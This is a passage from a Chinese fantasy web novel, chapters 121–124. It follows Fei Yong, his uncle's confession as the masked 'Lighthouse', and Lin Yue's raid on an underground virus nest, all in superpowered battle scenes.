就在这时,屏障突然发出一声刺耳的脆响。
费勇通过影子的感知“看”到,屏障的西侧出现了一道蛛网般的裂痕,裁决会执法者的能量炮正透过裂痕往里轰击,基地外层的合金装甲在攻击下发出痛苦的**。
“他们在等屏障消失。”费勇猛地明白过来,“你故意让屏障出现裂痕,是为了让裁决会的人看到病毒苏醒,逼他们出手,好坐收渔翁之利!”
“聪明。”灯塔不置可否,“但已经晚了。”
他胸口的黑色晶体突然爆发出刺眼的光芒,费勇体内的陌生能量瞬间暴走。那些暗红色丝线顺着血管涌向心脏,影核的温度骤然飙升,烫得他几乎要昏厥过去。影子在地面上蜷缩成一团,边缘处的黑色正在快速褪去,露出底下苍白的地砖。
“呃啊——”费勇疼得跪倒在地,双手死死按着胸口,指甲抠进肉里也感觉不到疼。他能清晰地感觉到,自己的生命力正在被影核快速抽走,就像被戳破的气球。
父亲的残念在影核里发出最后的咆哮,随后彻底沉寂下去。
屏障的裂痕越来越大,执法者的攻击已经能直接砸进核心室。一枚能量炮擦着费勇的耳边飞过,炸在控制台侧面,飞溅的碎片划伤了他的脸颊,血珠滴落在影核上,瞬间被吸收殆尽。
“还有十秒。”灯塔的声音像来自地狱,“感受一下吧,成为容器的荣幸。”
费勇的视线彻底模糊了。他的影子已经变得几乎透明,只能勉强看出轮廓。意识消散的最后一刻,他突然想起苏清月的脸——那个总是温柔笑着,却能在危机关头爆发出惊人勇气的女孩,不知道她现在怎么样了。
就在这时,核心室的合金门突然被一股巨力撞开。
“费勇!”
熟悉的声音像惊雷般炸响,费勇艰难地转过头,看到苏清月冲了进来,绿色藤蔓在她身后织成护盾,挡住了飞溅的碎石。夏艳玲跟在她身后,小脸上满是焦急,怀里的布娃娃正散发着微弱的金光。
“清月……”费勇的声音轻得像耳语。
“他在骗你!”苏清月冲到他身边,看到他身上的黑色纹路时,瞳孔骤然收缩,“这能量会让你变成病毒容器!爷爷的日记里写过,影蚀病毒能通过暗影能量寄生,你体内的根本不是什么本源能量,是病毒的催化剂!”
灯塔的脸色终于变了:“你怎么会知道?”
“要感谢你的研究员。”苏清月没时间解释,双手凝聚出大量绿色光粒按在费勇的胸口,“艳玲,帮忙!”
夏艳玲立刻明白了她的意图,将怀里的布娃娃举到费勇面前。布娃娃身上的金光突然暴涨,那些金色光粒像有生命般钻
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进费勇的身体,与绿色光粒汇合在一起,向暗红色丝线发起冲击。
“没用的!”灯塔怒吼着扑过来,黑色晶体射出一道能量束,“谁也别想阻止我!”
苏清月立刻催生藤蔓挡住能量束,同时对费勇喊道:“**!把影核**!只有这样才能阻止能量传输!”
费勇这才反应过来。他看着嵌在控制台里的影核,那里面曾经住着父亲的残念,现在却成了催命符。他颤抖着伸出手,指尖刚碰到影核,就被烫得缩了回来。
“快!”苏清月的藤蔓已经快要支撑不住能量束的攻击,叶片在攻击下不断枯萎,“相信我!”
看着苏清月坚定的眼神,费勇突然下定了决心。他猛地抓住影核,无视那焚心蚀骨的疼痛,用尽最后一丝力气往外拔——
“咔嚓!”
影核被**的瞬间,整个基地剧烈震动起来。外面的影界屏障像破碎的玻璃般瓦解,执法者的攻击毫无阻碍地砸进基地,警报声凄厉地响遍每个角落。
费勇体内的陌生能量失去了源头,瞬间暴走。他感觉自己像个被吹爆的气球,意识在剧痛中彻底消散。
但在失去意识前,他做了一个动作。
他的影子突然暴涨,虽然微弱,却精准地缠住了灯塔的手腕。
“你到底是谁?”费勇用尽最后一丝力气问道,影子顺着灯塔的手臂向上蔓延,掀开了他黑袍的袖子。
露出的皮肤上,赫然印着一个编号——107。
这个编号,费勇在父亲残留的记忆碎片里见过无数次。那是701研究所给实验体的编号,他父亲的编号是106。
灯塔的脸色瞬间变得惨白。
费勇的意识彻底沉入黑暗。在他失去知觉的最后一刻,他听到苏清月焦急的呼喊,感觉到夏艳玲的金色光粒正在修复他的身体,还有灯塔那带着惊恐和愤怒的咆哮,在核心室里久久回荡。
屏障消失的基地外,裁决会执法者的冲锋声、病毒聚合体的嘶吼声、还有远处隐约传来的雷声,交织成一曲末日的交响。
第121章:贫民区的救援战
黑色漩涡的转速已经突破了视觉极限。
林悦仰头时,只能看到一片扭曲的暗灰色,仿佛整个天空都被拧成了麻花。更让人头皮发麻的是那些从漩涡里伸出来的巨手——它们由纯粹的暗影能量构成,指尖划过空气时会留下短暂的空间裂隙,所过之处,废弃的楼房像饼干一样被捏碎。
“老赵!左路那栋楼里还有三个孩子!”林悦的喊声被电流的滋滋声淹没。她双脚微分,掌心的蓝色电弧顺着地面蔓延,在废墟间织成一张巨大的雷网。最近的一只巨手刚触碰到电网,就发出凄厉的嘶鸣,黑色能量像被点燃的汽油般剧烈燃烧。
“收到!”老赵的回应带着金属摩擦的质感。他左臂的钢斧已经彻底崩裂,此刻正用右臂化作的盾牌死死顶住一块坠落的混凝土板,“李姐,帮我清掉后面的杂碎!”
李姐的声波屏障在身后炸开,震得三个被控制的异能者暂时失去平衡。她趁机甩出两枚***,烟雾弥漫中,高声喊道:“林队!风行者那边快撑不住了!”
林悦眼角的余光瞥见仓库方向。风行者正以肉眼难以捕捉的速度穿梭在平民之间,每次超音速移动都会在地面留下淡蓝色的残影。但他左肩的黑色碎片已经扩散到锁骨位置,每次加速都会咳出一口血,染红胸前的作战服。
“坚持住!”林悦咬牙加大电流输出。雷网的光芒更加炽烈,暂时逼退了巨手的攻势,但她能感觉到体内的能量正在快速流失——维持这种强度的电网,对身体的负荷极大,太阳穴突突直跳,视线开始出现重影。
就在这时,风行者抱着一个白发老人出现在她身边,残影缓缓消散。他单膝跪地剧烈喘息,右手死死按着流血的左肩,指缝间渗出的血液已经变成了暗红色。“东边……还有最后五个……”他的声音断断续续,“我速度……慢下来了……”
林悦这才注意到,风行者的超音速移动确实慢了很多。以前他的残影几乎留不下痕迹,现在却能清晰地看到轨迹,就像老式电影里的慢动作镜头。
“你伤得太重了。”林悦皱眉,伸手想帮他检查伤口,却被他躲开。
“别碰……”风行者咳出一口血沫,眼神却异常锐利,“碎片会传染……”他突然指向西北方向,“看那里!”
林悦转头望去,心脏猛地一沉。三个穿着裁决会制服的执法者正站在一栋楼顶,手里举着奇怪的仪器,那些仪器发出的红色光束正射向黑色漩涡——显然,他们在引导巨手的攻击方向。
“这群杂碎!”林悦骂了一句,刚想冲过去,就看到一只巨手绕过雷网,直奔风行者身后的几个孩子而去。
“小心!”林悦想也没想,猛地扑过去,用身体挡住孩子们。警棍横扫,蓝色电流凝聚成矛,狠狠刺向巨手的掌心。
“嗤——”电流与暗影能量碰撞,发出刺耳的响声。林悦被巨大的冲击力震得倒飞出去,撞在墙上,喉咙一甜,咳出一口血。
“林队!”
“姐姐!”
混乱中,她听到孩子们的惊呼,还有风行者气急败坏的喊声。紧接着,一阵剧烈的风压从头顶掠过——风行者以超音速撞向巨手,用身体硬生生将其撞偏了方向。
“你疯了?!”林悦挣扎着站起来,看着风行者像断线的风筝般摔在地上,忍不住怒吼,“你的身体根本承受不住这种撞击!”
风行者艰难地爬起来,嘴角挂着血迹,却突然笑了:“比起……被你这个暴力女警念叨……我宁愿……撞墙……”他咳嗽几声,脸色更加苍白,“说真的……这样下去不是办法……”
林悦愣住了。她第一次看到风行者露出这种表情——不是桀骜,不是嘲讽,而是一种近乎坦诚的疲惫。
“巨手只是……表象……”风行者喘了口气,眼神扫过黑色漩涡,“源头在地下……病毒巢穴……”他指向仓库角落的地窖入口,“那里有空间碎片……形成的屏障……必须打破它……”
林悦想起张叔之前的报告。他说地窖入口被一种奇怪的能量场封锁,**根本炸不开,那能量场的波动和审判长的空间碎片一模一样。
“空间碎片的屏障……”林悦皱眉,“用什么才能打破?”
“需要……两种能量……对冲……”风行者的声音越来越低,“我的速度……你的雷电……或许可以……”他从怀里掏出一把黑色的短刃,刃身流动着暗影能量的光泽,“这个……费勇留下的……影刃……对空间能量……有反应……”
林悦接过影刃。入手冰凉,刃身的暗影能量与她的雷电产生了奇妙的共鸣,发出轻微的嗡鸣。她突然明白了风行者的意思。
“你想让我把雷电注入影刃,然后你用超音速带着它撞向屏障?”林悦的声音有些发紧,“你知道这有多危险吗?两种能量对冲的冲击力,足以把你的身体撕碎!”
“总比……看着所有人……变成病毒的养料……强……”风行者笑了笑,笑容里带着一丝决绝,“再说……我欠费勇一条命……上次在基地……他本来可以不管我的……”
林悦沉默了。她想起费勇,那个总是吊儿郎当,却总在关键时刻挺身而出的家伙。不知道他在基地怎么样了,刚才屏障消失的瞬间,她感觉到一股强烈的暗影能量波
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动,紧接着就中断了。
“好。”林悦深吸一口气,握紧影刃,“我相信你。”
风行者明显愣了一下,似乎没想到她会这么干脆。
“别废话了。”林悦挑眉,掌心的电流开始注入影刃,“抓紧时间,我可不想等会儿给你收尸的时候,还得听你唠叨。”
影刃在电流的注入下,渐渐染上一层蓝色的光晕,两种能量交织在一起,发出越来越响亮的嗡鸣。风行者站直身体,左肩的黑色碎片似乎因为这股能量的刺激而剧烈跳动起来,他疼得浑身一颤,却死死咬着牙没出声。
“准备好了吗?”林悦问。
风行者点点头,伸出手:“来吧。”
林悦将影刃塞进他手里,同时将体内剩余的大部分能量都凝聚在掌心,猛地按在他的后背。“这是我能输出的最大电流,能暂时提升你的速度,但副作用很大,结束后你可能会昏迷。”
“无所谓……”风行者的身体开始散发出淡蓝色的光芒,超音速移动的前兆,“告诉费勇……内鬼……不是我……”
话音未落,他的身影已经化作一道蓝色的闪电,带着影刃冲向地窖入口。那速度比之前快了至少三倍,残影在空中拉出长长的光带,像一道连接天地的桥梁。
林悦立刻转身,将所有剩余能量注入雷网,同时对老赵和李姐喊道:“掩护他!别让任何东西靠近地窖!”
“明白!”
风行者的速度快得不可思议。他像一颗蓝色的炮弹,精准地撞向地窖入口的空间屏障。影刃上的雷电与暗影能量在接触屏障的瞬间剧烈**,两种能量对冲产生的冲击波向四周扩散,掀飞了周围的所有杂物。
林悦用手臂挡住脸,透过指缝看到了让她终生难忘的一幕——空间屏障在**中像玻璃般碎裂,露出下面黑漆漆的入口。而风行者的身影被冲击波掀飞,在空中喷出一口鲜血,缓缓坠落。
“风行者!”林悦大喊着冲过去,在他落地前接住了他。
风行者的身体软得像没有骨头,浑身烫得惊人。他看着林悦,嘴角艰难地扯出一个笑容:“成了……”说完,就彻底失去了意识。
就在这时,黑色漩涡突然剧烈收缩,那些巨手像是失去了能量来源,开始快速消散。天空的暗灰色渐渐褪去,露出一丝微弱的阳光。
“成功了?”李姐惊喜地喊道。
林悦抱着风行者,感受着他微弱的心跳,松了口气。但她心里清楚,这只是暂时的——病毒巢穴还在地下,真正的战斗,才刚刚开始。
她抬头看向基地的方向,握紧了拳头。费勇,你那边一定要撑住。
第122章:灯塔的自白
核心室的警报声还在嗡嗡作响,像只被踩住尾巴的苍蝇。
费勇躺在冰冷的地板上,意识像沉在水里的棉花,忽远忽近。苏清月的绿色光粒正顺着他的血管游走,那些灼烧般的疼痛在逐渐消退,但体内残留的陌生能量仍在疯狂冲撞,每一次搏动都让他眼前发黑。
“他怎么样了?”夏艳玲的声音带着哭腔,小手紧紧攥着苏清月的衣角,布娃娃掉在一旁,裂开的嘴角对着天花板,像是在无声地尖叫。
“暂时稳住了。”苏清月的声音有些发颤,她正用藤蔓将费勇的身体托起,防止那些黑色纹路继续扩散,“但他体内的病毒能量很活跃,需要尽快找到中和的方法。”
就在这时,一阵急促的脚步声从门口传来。
苏清月立刻转身,藤蔓在身前织成护盾:“谁?”
灯塔站在门口,黑袍的下摆还沾着血迹,胸口的黑色晶体已经黯淡无光。他没有攻击的意思,只是静静地看着费勇,眼神复杂得像揉碎的星光。
“放开他。”苏清月厉声喝道,指尖的绿色光粒越聚越密,“你对费勇做了什么?那些病毒能量是不是你注入的?”
灯塔没有回答,只是缓缓抬起手,放在脸上——他在摘面具。
金属摩擦的轻响在空旷的核心室里格外清晰。当那张银白色的面具彻底落下时,苏清月和夏艳玲都愣住了。
那是一张与费勇有七分相似的脸,只是眼角的皱纹更深,眉宇间带着化不开的疲惫。最让人震惊的是,他的左眉骨下方有一颗小小的痣,位置和费勇父亲照片上的一模一样。
“你……”苏清月的声音有些发紧,她突然想起爷爷日记里的记载——费勇的父亲有个双胞胎弟弟,在十年前的实验中失踪了。
“费振南。”男人开口,声音沙哑得像是久未说话,“我是费勇的叔叔。”
费勇的意识在这时突然清醒了一瞬。他挣扎着睁开眼,看到那张脸时,心脏像是被一只无形的手攥紧了——影核里沉寂的父亲残念突然剧烈跳动起来,那些破碎的记忆片段在脑海里飞速闪过:两个穿着同样白大褂的年轻人在实验室里大笑,其中一个人的左眉骨下,有一颗和眼前男人一样的痣。
“叔叔……”费勇的声音轻得像耳语,他想撑起身体,却被体内的能量冲撞得再次跌回地面,“你……为什么要这么做?”
费振南的眼神暗了下去。他走到控制台前,调出一段尘封的视频——屏幕上出现了十年前的701研究所,白大褂们正围着一个巨大的容器忙碌,容器里漂浮着一团黑色的能量体,正是现在的病毒聚合体。
“当年的实验……本来是为了驯化病毒。”费振南的声音带着苦涩,“你父亲是生物学天才,他发现暗影能量能与病毒产生共鸣,只要找到合适的载体,就能让病毒从毁灭者变成守护者。”
视频里,年轻的费勇父亲正将一枚黑色晶体按入容器——那晶体的形状,和费勇手中的影核一模一样。
“那是暗影本源的核心。”费振南指着屏幕,“你父亲说,这是从影界深处带回来的能量结晶,能中和病毒的破坏性。他自愿成为第一个实验体,想亲自验证这个猜想。”
视频突然跳到下一段。画面开始剧烈晃动,实验室里响起刺耳的警报声,一个穿着黑色斗篷的人出现在屏幕里,脸上带着银色的面具——是判官!
“他篡改了实验数据。”费振南的声音开始发颤,“他把‘驯化程序’改成了‘吞噬程序’,你父亲的身体被病毒能量反噬,变成了病毒的养料。我眼睁睁看着他被容器吞噬,却什么也做不了……”
他突然剧烈地咳嗽起来,用手捂住嘴,指缝间渗出暗红色的血液。
“你也被感染了?”苏清月立刻看出了不对劲,他咳出的血液里带着黑色的丝线,和费勇体内的病毒能量一模一样。
费振南点点头,苦笑了一下:“当年为了救你父亲,我强行接触了病毒聚合体,虽然逃了出来,却被病毒寄生了。这十年我一直在研究中和的方法,直到发现你……”他看向费勇,眼神里带着愧疚,“你的暗影重构能力和你父亲一模一样,我以为……我以为可以用你的身体作为容器,重新驯化病毒。”
“所以你就和判官合作?”费勇猛地拔高声音,体内的能量再次暴走,黑色纹路顺着脖颈向上蔓延,“你用我的暗影本源喂养病毒,就是为了完成你那可笑的实验?”
“不是的!”费振南急忙解释,“判官当年也被病毒寄生了,他需要暗影本源来稳定自己的身体。我们达成了协议——他帮我收集病毒能量,我帮他压制体内的反噬。但我没想到,他早就和裁决会勾结,想利用病毒统治世界!”
他突然指向屏幕角落里的一个身影——那是个穿着白大褂的年轻人,正偷偷将一枚芯片植入容器,他的侧脸,和破晓组织的夜枭一模一样。
“内鬼是夜枭。”费振南的声音带着愤怒,“他是判官安插在研究所的眼线,当年的实验数据就是他偷给判官的。后来他混进破晓,一直在给判官传递消息。”
费勇的脑海里突然闪过一个画面——风行者在贫民区受伤时,夜枭是第一个提出要去接应的,也是他“恰好”弄丢了基地的备用钥匙。
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>“原来如此……”费勇的声音有些发寒,他终于明白父亲残念为什么一直提醒他“小心自己人”。
就在这时,费振南突然发出一声痛苦的闷哼。他捂着胸口跪倒在地,黑袍下的身体开始剧烈抽搐,皮肤表面浮现出和费勇一样的黑色纹路,而且扩散速度更快。
“不好!”苏清月立刻反应过来,“他体内的病毒开始爆发了!”
费振南挣扎着抬起手,将一枚芯片扔给费勇:“这是……你父亲留下的中和程序……影核里有他的基因印记……只有你能启动……”他的眼睛开始充血,黑色纹路已经蔓延到了脸颊,“快……去病毒巢穴……那里有……你母亲的消息……”
“母亲?”费勇猛地攥紧芯片,心脏像是被重锤击中,“我母亲她还活着?”
费振南没有回答。他的身体突然爆发出刺眼的黑色光芒,那些病毒能量像是找到了宣泄口,疯狂地向外喷涌。他看着费勇,嘴角突然扯出一个笑容,和费勇父亲照片上的笑容一模一样。
“替你父亲……完成他的遗愿……”
话音未落,费振南的身体突然开始变得透明,那些黑色能量在他体内剧烈**,却没有伤到周围的人——他用最后的意识控制着能量,不让其波及费勇。
当光芒彻底散去时,原地只剩下一枚银白色的面具,和费勇父亲留下的那枚,一模一样。
费勇握着那枚面具,指腹摩挲着上面的纹路,眼眶突然热了。影核在掌心剧烈跳动,父亲的残念与他的意识彻底融合,那些破碎的记忆终于拼凑完整——他看到父母在樱花树下亲吻,看到叔叔在实验室里对他做鬼脸,看到十年前那个黑色的夜晚,父亲将影核塞进他的襁褓,说:“等你长大了,要成为守护世界的人。”
“我会的。”费勇低声说,声音带着从未有过的坚定。他将影核按入控制台,启动了费振南留下的中和程序。
芯片插入的瞬间,整个基地突然剧烈震动起来。核心室的地面裂开一道缝隙,露出通往地下三层的通道——那里,正是病毒巢穴的方向。
苏清月扶住几乎站立不稳的费勇,绿色光粒再次注入他的体内:“准备好了吗?我们要去病毒巢穴了。”
夏艳玲捡起地上的布娃娃,将其紧紧抱在怀里。娃娃的眼睛里似乎闪过一丝微光,那是费勇父亲留下的最后能量,也是指引他们前进的方向。
“嗯。”费勇点点头,握紧了手中的影核。暗影能量在体内重新流动,这一次,不再是被病毒压制的痛苦,而是与父亲残念共鸣的温暖。
他知道,真正的战斗,才刚刚开始。
第123章:病毒巢穴的核心
地窖入口的碎石还在簌簌往下掉。
林悦扶着风行者钻进通道时,扑面而来的腥气差点让她吐出来——那味道像腐烂的海藻混合着铁锈,鼻腔里仿佛爬满了黏糊糊的虫子。她用电弧在掌心凝聚出光球,蓝色的光芒照亮了前方蜿蜒的阶梯,墙壁上布满了黑色的血管状纹路,正随着某种频率微微搏动。
“慢点。”林悦侧耳听着身后的动静,电网在通道入口织成了临时屏障,暂时能挡住外面的病毒残体,“你的伤怎么样?”
风行者靠在她肩上,呼吸粗重得像破旧的风箱。他左肩的空间碎片已经扩散到心口,黑色纹路像蛛网般覆盖了半张脸,每次呼吸都会牵扯着伤口,疼得他额角冒冷汗。“死不了……”他扯了扯嘴角,想笑却牵扯到伤口,疼得倒抽一口冷气,“就是这味道……比你做的咖啡还难顶。”
林悦翻了个白眼,手上的光球却下意识地往他那边凑了凑:“闭嘴吧你,再说话信不信我把你扔在这儿喂病毒?”话虽如此,她扶着他的力道却放轻了许多,指尖的电流悄悄探入他体内,试图压制那些躁动的碎片能量。
通道尽头突然传来低沉的嗡鸣。
林悦立刻熄灭光球,将风行者拽到拐角处藏好。电弧顺着墙壁蔓延,在前方十米处形成了感应网——这是她在特调科学的追踪技巧,任何活物经过都会触发电流波动。
“是……病毒聚合体?”风行者的声音压得极低,他透过墙壁的缝隙往外看,瞳孔突然收缩,“不……比那更密集。”
林悦顺着他的视线看去,心脏猛地一缩。
通道尽头是个巨大的地下溶洞,顶端悬挂着密密麻麻的黑色肉囊,每个肉囊里都包裹着模糊的人形轮廓。而溶洞中央,一颗两人高的黑色晶体正悬浮在半空,表面流动着暗紫色的光芒,那些墙壁上的血管纹路最终都汇聚到晶体底部,像根系一样扎进地底。
最让人毛骨悚然的是,晶体内部裹着一个模糊的人影——长发,纤细的轮廓,即使隔着厚厚的晶体,也能看出那是个女性。
“那是……”林悦的声音有些发颤,她突然想起费勇钱包里的照片,费勇的母亲就是这样的长发,“不可能……”
就在这时,黑色晶体突然发出了声音。
不是通过空气传播,而是直接在脑海里响起,像是无数人在同时低语,又像是只有一个声音在呢喃:“……暗影本源……需要暗影本源……”
风行者突然剧烈地咳嗽起来,他捂着胸口蹲下身,冷汗浸透了后背的作战服:“这声音……有问题……”他的眼神开始涣散,那些黑色纹路以肉眼可见的速度向眼底蔓延,“它在……吸收我的能量……”
林悦这才发现,溶洞里的阴影正在缓缓蠕动,像有生命的潮水般向他们这边涌来。那些阴影接触到风行者的衣角时,竟像海绵吸水般滋滋作响,他身上的能量波动以惊人的速度减弱着。
“该死!”林悦立刻凝聚出雷矛,蓝色的电流狠狠砸向阴影,“这些影子能吸收异能!”
雷矛撞进阴影的瞬间,竟像泥牛入海般消失了。那些阴影不仅没被驱散,反而因为吸收了雷电能量而变得更加浓稠,蠕动的速度也加快了数倍。
“别用异能!”风行者挣扎着拽住她,“物理攻击……或许有用……”他从靴子里抽出一把军用**,刀身没有能量波动,“试试这个。”
林悦接过**,反手刺向涌来的阴影。出乎意料的是,**竟像切黄油般划开了阴影,被切开的部分化作黑烟消散在空气中,没有再重组。
“有用!”林悦眼睛一亮,正想招呼风行者撤退,却听到黑色晶体再次开口:
“裁决会……需要暗影本源激活我……完成完美病毒……”
这次的声音清晰了许多,带着一种非男非女的机械感,却又隐约能听出一丝女性的温柔,像被掐住喉咙的百灵鸟在哀鸣。晶体内部的人影缓缓转动,长发垂落的弧度,竟和费勇母亲照片上的一模一样。
“你是谁?”林悦握紧**,一步步向晶体靠近,“你认识费勇的母亲?”
晶体沉默了片刻,那些暗紫色的光芒突然剧烈闪烁起来:“我……就是她……又不是她……”人影的轮廓开始扭曲,“十年前……701研究所……我自愿成为容器……却被病毒吞噬了意识……”
风行者突然闷哼一声。林悦回头,发现他已经半跪在地上,右手死死按着心口,黑色纹路几乎覆盖了整张脸。那些阴影不知何时绕到了他们身后,像藤蔓般缠住了他的脚踝,正贪婪地吸收着他的超音速能量。
“风行者!”林悦想冲回去,却被一股更强的吸力拽住——她的雷电能量也在被阴影快速抽走,掌心的电弧越来越黯淡。
“别管我……”风行者抬起头,眼神却异常清明,他从腰间解下一个巴掌大的金属盒子,上面的红色按钮正在闪烁,“这是……破晓的微型**……能炸开……晶体外壳……”他用尽最后力气将盒子扔过来,“告诉费勇……老子没给他丢人……”
林悦接住盒子的瞬间,风行者突然笑了。他猛地站起来,主动扑向那些阴影,将它们引向远离晶体的方向。超音速能量在他体内剧烈爆发,淡蓝色的光芒将他整个人包裹,像一颗即将**的恒星。
“老子最讨厌被算计!”
他的喊声在溶洞里回荡,随后是剧烈的**声。风行者用自己的能量引爆了那些吸收异能的阴影,淡蓝色的冲击波向四周扩散,暂时逼退了潮水般的阴影。
林悦的眼泪瞬间涌了上来。她看着风行者被**的气浪掀飞,身体像断线的
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风筝般撞在岩壁上,却还在对她做口型——快走。
“混蛋!”林悦抹了把眼泪,将**盒子塞进怀里,转身冲向黑色晶体。**划破掌心,鲜血混着雷电能量凝聚成矛,她要在风行者争取的时间里,炸开这该死的晶体!
就在她距离晶体只有三米远时,那些刚刚被炸开的阴影突然重组,化作无数条触手从四面八方袭来。林悦侧身躲过一条,却被另一条缠住了手腕——雷电能量像开闸的洪水般被吸走,她的身体瞬间变得酸软无力。
“放弃吧……”晶体的声音带着一丝怜悯,又像是在诱惑,“成为病毒的一部分……就能永远活在意识里……”
林悦咬着牙,另一只手摸向怀里的**盒子。指尖刚碰到红色按钮,就看到晶体内部的人影突然剧烈挣扎起来,长发疯狂舞动,像是在对抗某种无形的束缚。
“小勇……”
一个清晰的女声透过晶体传出来,温柔得像春风拂过湖面,和费勇描述的母亲声音一模一样。
林悦的动作顿住了。
就在这时,风行者不知从哪里爬了出来,他浑身是血,左臂已经不自然地扭曲着,却还是用尽最后力气将一把黑色短刃扔了过来——那是费勇留下的影刃,刃身还残留着淡淡的暗影能量。
“接住!”
林悦下意识地抓住影刃。暗影能量与她掌心的鲜血接触,突然爆发出刺眼的光芒。那些缠绕着她的阴影像是遇到了克星,发出凄厉的嘶鸣,纷纷退散。
“原来如此……”林悦恍然大悟,影刃上的暗影能量能克制这些吸收异能的阴影!她握紧影刃,一步步走向黑色晶体,怀里的**盒子已经被激活,倒计时正在飞速跳动。
晶体内部的人影突然抬起头,长发散开,露出一张与费勇有三分相似的脸。她的嘴唇翕动着,似乎在说什么,林悦却听不清。
“等我救你出来!”林悦大喊着,将**贴在晶体表面,“费勇很快就会来,他会带你回家的!”
她转身冲向风行者,将他架起来往通道口跑。身后传来**的倒计时提示音,还有晶体那非男非女的嘶吼:
“完美病毒……无法阻止……”
剧烈的**声在身后响起,热浪几乎要把他们掀飞。林悦死死护住风行者,用最后的雷电能量在身后织成护盾。碎石砸在护盾上噼啪作响,她却仿佛听到了晶体裂开的声音,还有一声温柔的叹息,像母亲在亲吻孩子的额头。
“走!”林悦架着昏迷的风行者冲进通道,身后的溶洞传来坍塌的巨响。她不敢回头,只能拼命往前跑,眼泪混着汗水滑落,滴在风行者染血的作战服上。
她不知道,在她转身的瞬间,裂开的晶体里飘出一缕白色的光丝,悄无声息地钻进了她的影子里,像一颗等待发芽的种子。
第124章:暗影与雷电的共鸣
影核在掌心发烫,像揣了块烧红的烙铁。
费勇站在核心室的控制台前,指腹摩挲着晶体表面的纹路——那些螺旋状的图案正在缓慢旋转,与他体内的暗影能量产生奇妙的共鸣。苏清月刚带着夏艳玲去整理费振南留下的资料,溶洞方向传来的**声还在基地深处回荡,像敲在神经上的鼓点。
“嗡——”
影核突然剧烈震动起来,表面浮现出蛛网般的红色纹路,像血管般与控制台的线路相连。费勇的影子里传来一阵熟悉的电流波动,微弱却清晰,带着林悦独有的暴躁频率——那是他之前在贫民区帮她挡审判长攻击时,悄悄留在她影子里的印记。
“林悦?”费勇猛地握紧影核,暗影能量顺着手臂蔓延,在地面织成一张黑色的网,“她出事了?”
影子里的电流波动越来越紊乱,夹杂着碎石滚落的嘈杂声,还有某种……粘稠的吮吸声,像海绵在吸水。费勇突然想起费振南的话——病毒巢穴里的阴影能吸收异能,林悦的雷电恐怕正在被吞噬。
“该死!”费勇转身想冲向通道,却被苏清月留下的藤蔓拦住。绿色的藤蔓在他脚边形成结界,上面的露珠闪烁着警示的光芒——她临走前说过,他体内的病毒能量还没稳定,强行使用异能可能会引发反噬。
“别碍事!”费勇低喝一声,影子突然暴涨,化作无数只黑色的手抓住藤蔓,硬生生将其撕开。他知道自己在冒险,但林悦的电流波动正在快速减弱,再晚一步可能就……
影核突然发出刺眼的光芒。
费勇的意识瞬间被拽进一片黑暗——那是影界的内部,无数细碎的光点在周围漂浮,每一点光都是一个影子印记。他看到了苏清月在藏书室的影子,看到了夏艳玲抱着布娃娃的影子,最远处那团跳动的蓝色光团,正是林悦的位置。
“原来如此……”费勇恍然大悟。影核不仅能中和病毒,还能作为影子印记的中转站。只要他将暗影能量注入影核,就能通过印记传递给林悦!
他立刻盘膝坐下,将影核按在眉心。暗影能量从体内疯狂涌出,顺着血管汇入晶体,那些螺旋纹路旋转得越来越快,发出低沉的嗡鸣。影界里的蓝色光团开始闪烁,像是在回应他的召唤。
“林悦,接好!”
费勇猛地睁开眼,影核爆发出的黑色光芒穿透天花板,在基地上空形成一道巨大的光柱。
***溶洞通道里,林悦正拖着昏迷的风行者艰难前行。
她的左臂已经失去知觉——刚才为了挡住坍塌的碎石,她强行凝聚雷盾,结果被阴影趁机吸走了大半能量。掌心的电弧微弱得像垂死的萤火虫,每走一步都感觉肺里灌满了铅。
“坚持住……马上就到入口了……”她对着风行者喃喃自语,声音却在发抖。身后的**声已经停了,但那股粘稠的吸力还在追来,地面的阴影像活物般蠕动,很快就要缠上他们的脚踝。
就在这时,手腕上突然传来一阵灼热。
林悦低头,看到自己的影子里渗出黑色的雾气,正顺着皮肤往掌心蔓延。那些雾气与她残留的雷电能量接触,竟发出滋滋的响声,蓝色的电弧瞬间明亮了几分。
“这是……”林悦愣住了。这股能量很熟悉,带着影刃独有的冰冷质感,是费勇的暗影能量!
更让她震惊的是,暗影能量并没有被阴影吸收,反而像催化剂般激活了她的雷电。蓝色的电弧开始染上黑色的纹路,噼啪作响的电流中夹杂着细碎的黑影,威力比之前暴涨了数倍。
“费勇?”林悦惊喜地回头,看到通道顶端的空气中,一个由黑影组成的轮廓正在缓缓浮现。那是费勇的影子投影,眉眼间的焦急清晰可见。
“别发呆!”投影开口,声音带着电流的杂音,“用雷电包裹影刃,能劈开那些阴影!”
林悦立刻反应过来。她捡起掉在地上的影刃,将残余的雷电能量全部注入其中。黑色的短刃瞬间被蓝黑交织的光芒覆盖,刃身的暗影能量与雷电共鸣,发出龙吟般的啸声。
身后的阴影已经追上来了,化作一条巨大的触手拍向他们。
林悦想也没想,转身挥出影刃。
蓝黑色的光刃切开空气,竟在身后划出一道真空带。那些阴影触碰到光刃的瞬间,就像冰雪遇上火,发出凄厉的嘶鸣,化作黑烟消散了。
“厉害啊……”林悦看着自己的手,眼睛亮了起来。这还是她第一次觉得,费勇那阴沉沉的暗影能量这么靠谱。
“别光顾着惊叹!”影子投影喊道,“晶体外壳虽然裂了,但核心还在!用强化后的雷矛刺穿它,或许能唤醒里面的意识!”
林悦这才想起**的作用——它只炸开了外壳,晶体核心还在释放病毒能量。她看了眼昏迷的风行者,咬了咬牙,将他藏在一块巨石后面,用最后的藤蔓护住他。
“等我回来。”
她握紧影刃,转身冲向坍塌的溶洞。蓝黑色的雷电在她周身环绕,那些试图靠近的阴影都被烧成了灰烬。
溶洞中央,裂开的黑色晶体正在剧烈闪烁。
暗
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紫色的光芒中,人影的轮廓越来越清晰。林悦能看到她胸前的项链——那是一条银色的月亮吊坠,和费勇一直带在身上的一模一样。
“阿姨……”林悦的声音有些发紧,她举起影刃,蓝黑色的雷矛在头顶凝聚,“费勇来不了,我来帮你!”
晶体突然剧烈震动起来,那些暗紫色的光芒化作无数条小蛇,向林悦扑来。
“雕虫小技!”林悦冷笑一声,雷矛横扫,蓝黑色的电流瞬间将蛇形光带击碎。她借着反冲力腾空跃起,将影刃刺向晶体核心。
就在影刃接触晶体的瞬间,林悦听到了一声清晰的叹息。
“小勇……”
温柔的女声在溶洞里回荡,带着一丝解脱,一丝欣慰。晶体内部的人影缓缓睁开眼,那双眼睛和费勇一模一样,清澈得像山涧的泉水。她抬起手,穿过裂开的晶体,轻轻碰了碰林悦手腕上的黑色纹路。
“谢谢你……”
